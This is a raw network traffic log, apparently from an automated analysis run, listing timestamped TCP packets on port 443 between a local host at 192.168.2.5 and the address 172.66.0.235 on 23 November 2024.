Nov 23, 2024 13:37:44.097434044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.097467899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.097587109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.097614050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.097672939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.102924109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.102943897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.103029966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.103044987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.103108883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.104744911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.104819059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.109417915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.109483957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.109499931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.109533072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.109565020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.109581947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.115784883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.115807056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.115869045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.115884066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.115940094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.121418953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.121443033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.121488094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.121505976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.121530056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.121568918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.128184080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.128206968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.128281116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.128294945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.128346920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.133788109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.133811951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.133855104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.133867979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.133893013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.133912086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.140230894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.140252113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.140301943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.140315056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.140342951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.140360117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.208022118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.288902998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.288930893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.288988113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.289010048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.289036989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.289062977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.295320034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.295340061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.295388937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.295403004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.295435905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.295460939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.301672935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.301696062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.301733017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.301745892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.301772118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.301789045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.307334900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.307357073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.307419062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.307434082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.307486057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.313694000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.313718081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.313787937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.313806057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.313834906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.313854933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.319715977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.319736958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.319829941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.319844961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.319891930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.326028109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.326050043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.326133966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.326148033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.326201916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.332458973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.332479954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.332566023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.332580090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.332631111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.422956944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.481014013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.481034040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.481076956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.481107950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.481134892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.481153011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.487605095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.487621069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.487693071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.487711906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.487739086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.487756014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.493680954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.493696928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.493774891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.493789911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.493840933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.500138044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.500154018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.500226974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.500240088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.500267029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.500303030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.506197929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.506213903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.506299019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.506314993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.506365061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.511863947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.511879921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.511936903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.511950970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.511976004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.511995077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.518095016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.518110991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.518181086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.518194914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.518246889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.524471045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.524486065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.524559021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.524573088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.524627924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.673044920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.673065901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.673191071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.673218012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.673265934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.679418087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.679435015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.679528952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.679543018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.679595947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.685673952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.685689926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.685766935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.685781002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.685833931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.692147970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.692167044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.692246914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.692261934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.692311049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.697823048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.697839975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.697918892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.697932005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.697985888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.704534054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.704550982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.704632044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.704646111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.704700947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.710259914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.710277081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.710365057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.710378885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.710428953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.716454983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.716470957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.716553926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.716566086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.716617107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.726749897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.865735054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.865784883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.865864992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.865892887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.865921974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.865942001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.871361971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.871397018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.871453047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.871467113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.871496916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.871515036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.877602100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.877625942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.877701998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.877716064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.877778053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.884001970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.884018898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.884088993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.884103060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.884154081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.890012026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.890028000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.890103102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.890116930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.890167952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.896420956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.896436930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.896512032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.896526098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.896575928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.897433043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.897490025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.903789997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.903821945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.903861046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.903873920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.903902054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.910422087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.910444021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.910492897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.910506964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:44.910535097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:44.958266973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.058605909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.058628082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.058700085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.058722973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.058777094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.063278913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.063354969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.063363075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.063394070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.063422918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.065042019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.065107107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.065129042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.065180063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.069648981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.069710970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.069737911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.069751978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.069782019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.075938940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.075953007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.076033115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.076047897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.080563068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.080615044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.080641985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.080657959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.080686092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.080705881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.086168051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.086184025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.088416100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.089437962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.092309952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.092327118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.092389107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.095849037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.095864058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.095936060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.095963955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.096034050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.102165937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.102185011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.102266073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.102278948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.102328062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.250494003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.250524044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.250581026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.250597000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.250634909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.250654936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.255669117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.255738020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.255742073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.255763054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.255791903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.256961107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.257014036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.257028103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.257097006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.263264894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.263288975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.263343096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.263362885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.263387918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.263417006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.269705057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.269726992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.269785881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.269798994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.269828081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.269849062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.275363922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.275387049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.275430918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.275455952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.275480032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.275517941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.281326056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.281349897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.281385899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.281399012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.281424999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.281446934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.285891056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.285944939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.285958052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.285970926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.286003113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.292324066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.292342901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.292378902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.292393923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.292423010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.295898914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.295959949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.295974970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.328932047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.444334984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.444358110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.444473982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.444493055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.444554090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.447813988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.447880030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.447894096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.448824883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.448875904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.448904991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.448961973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.453568935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.453622103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.453661919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.453680038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.453721046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.459753036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.459775925 CET	443	49704	172.66.0.235	192.168.2.5
